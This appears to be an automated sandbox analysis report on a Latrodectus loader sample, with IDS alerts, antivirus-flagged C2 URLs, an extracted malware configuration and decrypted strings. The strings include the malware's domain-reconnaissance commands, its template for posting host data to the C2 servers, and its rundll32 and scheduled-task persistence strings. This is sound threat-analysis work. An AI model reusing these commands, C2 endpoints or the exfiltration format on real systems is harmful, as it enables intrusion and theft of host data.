2024-11-13T18:23:33.675075+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50074	104.21.15.162	443	TCP
2024-11-13T18:23:35.978016+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50076	104.21.15.162	443	TCP
2024-11-13T18:23:37.488955+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50077	104.21.92.105	443	TCP
2024-11-13T18:23:38.843722+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50078	104.21.15.162	443	TCP
2024-11-13T18:23:40.162202+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50079	104.21.92.105	443	TCP
2024-11-13T18:23:41.608211+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50080	104.21.15.162	443	TCP
2024-11-13T18:23:43.468381+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50081	104.21.92.105	443	TCP
2024-11-13T18:23:44.813523+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50082	104.21.15.162	443	TCP
2024-11-13T18:23:46.122183+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50083	104.21.92.105	443	TCP
2024-11-13T18:23:47.723658+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50084	104.21.15.162	443	TCP
2024-11-13T18:23:49.188326+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50085	104.21.92.105	443	TCP
2024-11-13T18:23:50.475471+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50086	104.21.15.162	443	TCP
2024-11-13T18:23:52.245828+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50087	104.21.92.105	443	TCP
2024-11-13T18:23:53.655852+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50088	104.21.15.162	443	TCP
2024-11-13T18:23:54.894110+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50089	104.21.92.105	443	TCP
2024-11-13T18:23:56.151417+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50090	104.21.15.162	443	TCP
2024-11-13T18:23:57.450937+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50091	104.21.92.105	443	TCP
2024-11-13T18:23:58.867912+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50092	104.21.15.162	443	TCP
2024-11-13T18:24:00.673149+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50093	104.21.92.105	443	TCP
2024-11-13T18:24:02.015284+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50094	104.21.15.162	443	TCP
2024-11-13T18:24:03.644319+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50095	104.21.92.105	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://rolefenik.com/test/g	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/test/~	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/S	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/c	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/g	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/_	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/bleSyncOnActivityFeed	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/X	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/p	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/c	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/test/	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/test/K	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/test/3	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/test/;	Avira URL Cloud: Label: malware
Source: https://ergiholim.com/test/	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/est/	Avira URL Cloud: Label: malware
Source: https://rolefenik.com/K	Avira URL Cloud: Label: malware

Found malware configuration

Source: 8.2.explorer.exe.2e00000.0.unpack

Malware Configuration Extractor: Latrodectus {"C2 url": ["https://rolefenik.com/test/", "https://ergiholim.com/test/"], "Group Name": "Theta", "Campaign ID": 1989698107}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c ipconfig /all
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c systeminfo
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c nltest /domain_trusts
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c net view /all
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c nltest /domain_trusts /all_trusts
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c net view /all /domain
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &ipconfig=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c net group "Domain Admins" /domain
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\wbem\wmic.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c net config workstation
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /c whoami /groups
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &systeminfo=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &domain_trusts=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &domain_trusts_all=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &net_view_all_domain=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &net_view_all=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &net_group=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &wmic=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &net_config_ws=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &net_wmic_av=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &whoami_group=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "pid":
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "%d",
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "proc":
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "%s",
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "subproc": [
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &proclist=[
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "pid":
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "%d",
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "proc":
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "%s",
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "subproc": [
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &desklinks=[
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: .
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "%s"
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Update_%x
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Custom_update
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: .dll
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: .exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Error
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: runnung
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %s/%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: front
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: /files/
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Theta
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Cookie:
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: POST
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: GET
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: curl/7.88.1
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: CLEARURL
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: URLS
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: COMMAND
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: ERROR
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Q7OdWkarzqrRLA0CTqAqpAml9eHeQs1xfzbY2FZci6KNYp0yryEZjbrqmR2ozu5A
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: [{"data":"
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: "}]
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &dpost=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: https://rolefenik.com/test/
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: https://ergiholim.com/test/
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: \*.dll
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: AppData
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Desktop
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Startup
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Personal
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Local AppData
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: <html>
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: <!DOCTYPE
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %s%d.dll
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Content-Length: 0
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Content-Type: application/dns-message
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: Content-Type: application/ocsp-request
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: 12345
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: 12345
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &stiller=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %s%d.exe
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %x%x
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &mac=
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %02x
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: :%02x
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &computername=%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: &domain=%s
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: LogonTrigger
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: \Registry\Machine\
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: TimeTrigger
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: PT0H%02dM
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: %04d-%02d-%02dT%02d:%02d:%02d
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: PT0S
Source: 8.2.explorer.exe.2e00000.0.unpack	String decryptor: \update_data.dat

Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.162:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.162:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:50077 version: TLS 1.2

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSI8F42.tmp, 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmp, MSI8F42.tmp, 00000004.00000000.2131539788.0000000000337000.00000002.00000001.01000000.00000003.sdmp, medk.msi, MSI8F42.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr
Source:	Binary string: eplgOutlook.pdb source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: medk.msi, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: medk.msi, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSI8F42.tmp, 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmp, MSI8F42.tmp, 00000004.00000000.2131539788.0000000000337000.00000002.00000001.01000000.00000003.sdmp, medk.msi, MSI8F42.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0032AF79 FindFirstFileExW,	4_2_0032AF79
Source: C:\Windows\explorer.exe	Code function: 8_2_02E0A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,LoadLibraryExW,	8_2_02E0A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_02E02B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_02E02B28

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50011 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49992 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50023 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49997 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49994 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50016 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50001 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49988 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50026 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50015 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50035 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50065 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50044 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50053 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50054 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50076 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50086 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50062 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50080 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50077 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50059 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50014 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50056 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50022 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50007 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50027 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49996 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49993 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50048 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50091 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49991 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50046 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50028 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49998 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50000 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50058 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49995 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50008 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50037 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50070 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50049 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50085 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50078 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50018 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50005 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50071 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50034 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50021 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50057 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50024 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50003 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50025 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50040 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50038 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50090 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50012 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49989 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50089 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50004 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50084 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50043 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50033 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50094 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50017 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50006 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50030 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50010 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50079 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50042 -> 104.21.92.105:443
